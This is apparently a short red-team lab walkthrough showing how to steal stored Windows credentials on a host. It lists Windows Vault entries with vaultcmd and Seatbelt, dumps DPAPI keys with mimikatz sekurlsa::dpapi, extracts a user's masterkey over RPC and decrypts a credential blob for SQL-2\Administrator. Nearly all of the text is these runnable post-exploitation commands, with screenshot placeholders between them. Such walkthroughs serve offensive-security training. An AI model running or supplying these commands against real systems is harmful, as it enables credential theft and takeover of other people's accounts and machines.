First let’s list the Credential Available in the vault.

run vaultcmd /list

image.png

Now let’s list the avilable credentials in the “Windows Credentials”

run vaultcmd /listcreds:"Windows Credentials" /all

image.png

notice that we have the SQL-2\Administrator.

we can use seatbelt for automation

execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

image.png

now let’s dump the DPAPI.

mimikatz !sekurlsa::dpapi

image.png

Now let’s dump the masterkey.

mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc

image.png

and we got the key.

Finally We can decrypt the Credential Blob.

mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214